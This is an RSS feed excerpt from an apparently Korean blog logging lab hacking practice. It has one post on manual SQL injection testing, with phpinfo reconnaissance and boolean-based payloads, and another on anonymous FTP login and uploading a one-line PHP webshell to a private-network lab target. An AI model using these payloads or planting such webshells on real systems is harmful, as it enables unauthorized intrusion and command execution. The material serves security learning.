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    <title>TungTung0000님의 블로그</title>
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    <pubDate>Sat, 18 Jul 2026 16:59:10 +0900</pubDate>
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      <title>공격 3 &amp;mdash; SQL Injection (수동 + SQLmap)</title>
      <link>https://yeonni821.tistory.com/47</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;543&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccbFm9/dJMcahLNlTi/k9GtCssXdDBgkYo9jJpOTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccbFm9/dJMcahLNlTi/k9GtCssXdDBgkYo9jJpOTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccbFm9/dJMcahLNlTi/k9GtCssXdDBgkYo9jJpOTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccbFm9%2FdJMcahLNlTi%2Fk9GtCssXdDBgkYo9jJpOTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;543&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;543&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;u&gt;1. phpinfo에서 DB 정보 수집&lt;/u&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ curl&amp;nbsp;http://$TARGET/info.php&amp;nbsp;|&amp;nbsp;grep&amp;nbsp;-i&amp;nbsp;&quot;mysql\|pdo&quot; &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- curl 명령어를 통해 php의 환경 정보를 출력 후 mysql, pdo라는 단어만 출력하는 명령어&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;bull; 확인 결과&lt;br /&gt;&amp;nbsp;- PHP 정상 동작, mysqli 활성화, PDO 활성화, MySQL 연동가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1083&quot; data-origin-height=&quot;799&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpRSYt/dJMcac4MbCt/EIY7sycRVOvMnFPhWcgNLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpRSYt/dJMcac4MbCt/EIY7sycRVOvMnFPhWcgNLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpRSYt/dJMcac4MbCt/EIY7sycRVOvMnFPhWcgNLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpRSYt%2FdJMcac4MbCt%2FEIY7sycRVOvMnFPhWcgNLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1083&quot; height=&quot;799&quot; data-origin-width=&quot;1083&quot; data-origin-height=&quot;799&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&lt;u&gt;2. 수동 SQLi 테스트 (URL 파라미터) &lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 71px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 29.6124%; height: 20px; text-align: center;&quot;&gt;공격 명&lt;/td&gt;
&lt;td style=&quot;width: 57.7519%; height: 20px; text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;td style=&quot;width: 12.6356%; height: 20px; text-align: center;&quot;&gt;취약 여부&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 29.6124%; height: 17px;&quot;&gt;Union-based&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;SQL Injection&lt;/td&gt;
&lt;td style=&quot;width: 57.7519%; height: 17px;&quot;&gt;UNION SELECT를 이용해 다른 테이블의 데이터를 함께 조회&lt;/td&gt;
&lt;td style=&quot;width: 12.6356%; height: 17px; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 29.6124%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Error-based&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;SQL Injection&lt;/td&gt;
&lt;td style=&quot;width: 57.7519%; height: 17px;&quot;&gt;DB 오류 메시지를 이용하여 정보를 획득&lt;/td&gt;
&lt;td style=&quot;width: 12.6356%; height: 17px; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 29.6124%;&quot;&gt;Boolean-based Blind SQL Injection&lt;/td&gt;
&lt;td style=&quot;width: 57.7519%;&quot;&gt;참(True)/거짓(False)에 따른 응답 차이로 정보를 추출&lt;/td&gt;
&lt;td style=&quot;width: 12.6356%; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 29.6124%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Time-based Blind&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;SQL Injection&lt;/td&gt;
&lt;td style=&quot;width: 57.7519%; height: 17px;&quot;&gt;시간 지연 함수를 이용하여 참/거짓을 판단&lt;/td&gt;
&lt;td style=&quot;width: 12.6356%; height: 17px; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 29.6124%;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;개발 정보 노출&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 57.7519%;&quot;&gt;개발 정보에 관해 노출이 되는 취약점&lt;/td&gt;
&lt;td style=&quot;width: 12.6356%; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;단계1. 정상 요청 확인&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UDM0G/dJMcafmYmuE/tI0zjve0O8oKGn4eZVqYi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UDM0G/dJMcafmYmuE/tI0zjve0O8oKGn4eZVqYi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UDM0G/dJMcafmYmuE/tI0zjve0O8oKGn4eZVqYi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUDM0G%2FdJMcafmYmuE%2FtI0zjve0O8oKGn4eZVqYi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;909&quot; height=&quot;255&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;단계2. 페이로드 삽입 후 결과 확인&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특수문자를 이용해 에러를 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;bull;&amp;nbsp; 200 상태코드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 입력이 문자열로 처리되거나 적절하게 이스케이프처리가 되어 정상 실행 가능성 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;917&quot; data-origin-height=&quot;282&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8w96V/dJMcaiYaJhz/H6mIWty9ioSAczoWyUibw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8w96V/dJMcaiYaJhz/H6mIWty9ioSAczoWyUibw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8w96V/dJMcaiYaJhz/H6mIWty9ioSAczoWyUibw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8w96V%2FdJMcaiYaJhz%2FH6mIWty9ioSAczoWyUibw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;917&quot; height=&quot;282&quot; data-origin-width=&quot;917&quot; data-origin-height=&quot;282&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;917&quot; data-origin-height=&quot;259&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8phaZ/dJMcafUNMko/gPa3IKqZ8GmfAaU6uFJaL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8phaZ/dJMcafUNMko/gPa3IKqZ8GmfAaU6uFJaL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8phaZ/dJMcafUNMko/gPa3IKqZ8GmfAaU6uFJaL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8phaZ%2FdJMcafUNMko%2FgPa3IKqZ8GmfAaU6uFJaL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;917&quot; height=&quot;259&quot; data-origin-width=&quot;917&quot; data-origin-height=&quot;259&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;bull; 500 상태코드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 내부 오류 발생, SQL 구문 오류, 애플리케이션 예외 등의 다양한&amp;nbsp; 원인 발생가능성 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;289&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lSYGh/dJMcaftF4bH/whX2yvcGKQ63tPX8Ic1TW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lSYGh/dJMcaftF4bH/whX2yvcGKQ63tPX8Ic1TW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lSYGh/dJMcaftF4bH/whX2yvcGKQ63tPX8Ic1TW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlSYGh%2FdJMcaftF4bH%2FwhX2yvcGKQ63tPX8Ic1TW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;926&quot; height=&quot;289&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;289&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;bull;&lt;span&gt; # 400 상태코드&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;- 400 상태코드와 함께 아파치의 버전 정보, 포트 번호가 노출되어 개발 정보 노출 취약점도 존재한다고 판단&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1177&quot; data-origin-height=&quot;509&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yg5K1/dJMcagsAVqe/wcWga7M9hmiYKr48zlKZv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yg5K1/dJMcagsAVqe/wcWga7M9hmiYKr48zlKZv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yg5K1/dJMcagsAVqe/wcWga7M9hmiYKr48zlKZv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fyg5K1%2FdJMcagsAVqe%2FwcWga7M9hmiYKr48zlKZv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1177&quot; height=&quot;509&quot; data-origin-width=&quot;1177&quot; data-origin-height=&quot;509&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2-1.&amp;nbsp; Union-based&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;SQL Injection &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 파라미터에 ' 를 입력하여 의도적인 오류를 냈을 경우 500 상태코드와 함께 서버에러를 나타내는 것을 확인 가능했으나 DB에 관한 정보는 확인 불가&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;289&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IJqQe/dJMcabSjXjs/GR6zL6Q7uo3lmynlCCjySk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IJqQe/dJMcabSjXjs/GR6zL6Q7uo3lmynlCCjySk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IJqQe/dJMcabSjXjs/GR6zL6Q7uo3lmynlCCjySk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIJqQe%2FdJMcabSjXjs%2FGR6zL6Q7uo3lmynlCCjySk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;926&quot; height=&quot;289&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;289&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2-3. Boolean-based Blind SQL Injection &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각각의 SQL Injection 페이로드를 삽입해서 응답 확인했으나 차이없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) id=1 AND 1=1--&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVUcJ3/dJMcafmYmw9/G5THErxm8H4pM7hfDieuw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVUcJ3/dJMcafmYmw9/G5THErxm8H4pM7hfDieuw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVUcJ3/dJMcafmYmw9/G5THErxm8H4pM7hfDieuw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVUcJ3%2FdJMcafmYmw9%2FG5THErxm8H4pM7hfDieuw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1186&quot; height=&quot;512&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) id=1&amp;nbsp;AND&amp;nbsp;1=2--&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1189&quot; data-origin-height=&quot;510&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tjV4P/dJMcadJjApD/JaVWv969iXGBEP7zrkzPUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tjV4P/dJMcadJjApD/JaVWv969iXGBEP7zrkzPUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tjV4P/dJMcadJjApD/JaVWv969iXGBEP7zrkzPUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtjV4P%2FdJMcadJjApD%2FJaVWv969iXGBEP7zrkzPUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1189&quot; height=&quot;510&quot; data-origin-width=&quot;1189&quot; data-origin-height=&quot;510&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Red, Blue, Target 환경을 통한 해킹 실습</category>
      <author>TungTung0000</author>
      <guid isPermaLink="true">https://yeonni821.tistory.com/47</guid>
      <comments>https://yeonni821.tistory.com/47#entry47comment</comments>
      <pubDate>Tue, 7 Jul 2026 15:49:26 +0900</pubDate>
    </item>
    <item>
      <title>공격 2 &amp;mdash; FTP 익명 로그인 &amp;amp; WebShell 업로드</title>
      <link>https://yeonni821.tistory.com/46</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P80AL/dJMcado1QZG/qxUk9t2FK4PupFskSXZLKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P80AL/dJMcado1QZG/qxUk9t2FK4PupFskSXZLKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P80AL/dJMcado1QZG/qxUk9t2FK4PupFskSXZLKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP80AL%2FdJMcado1QZG%2FqxUk9t2FK4PupFskSXZLKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;790&quot; height=&quot;548&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;u&gt;1. 익명 FTP 접속 및 공유 디렉터리 탐색&lt;/u&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;단계1. 익명 ftp로 연결 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr;&amp;nbsp;&lt;/span&gt; ftp 192.168.100.20&lt;br /&gt;단계2. 연결 확인 후 공유 디렉터리 탐색&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr;&lt;/span&gt; ls -l&lt;br /&gt;단계3. 확인된 공유 디렉터리로 이동&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; &lt;/span&gt;cd pub&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;363&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AA1mP/dJMb99NHwCu/35fklknakYhb6wJ9Td93e1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AA1mP/dJMb99NHwCu/35fklknakYhb6wJ9Td93e1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AA1mP/dJMb99NHwCu/35fklknakYhb6wJ9Td93e1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAA1mP%2FdJMb99NHwCu%2F35fklknakYhb6wJ9Td93e1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;363&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;363&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;u&gt;2. 기본 WebShell 업로드&lt;/u&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;단계1. php WebShell 파일 생성 &amp;rarr; echo '&amp;lt;?php system($_GET[&quot;c&quot;]; ?&amp;gt;' &amp;gt; /tmp/ws.php &amp;amp;&amp;amp;&lt;br /&gt;단계2. 생성한 WebShell 파일 FTP 서버에 업로드 &amp;rarr; ftp&amp;gt; put /tmp/ws.php ws.php&lt;br /&gt;단계3. WebShell 실행 후 id 명령어 실행 가능 여부 확인 &amp;rarr; curl &quot;http://192.168..100.20/pub/ws.php?c=id&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;(ftp 프롬프트를 이용해 WebShell을 생성하려 하였으나 Bash 명령어의 실행 불가 확인해 해당 단계로는 공격 불가 판단)&lt;/s&gt;&lt;/p&gt;
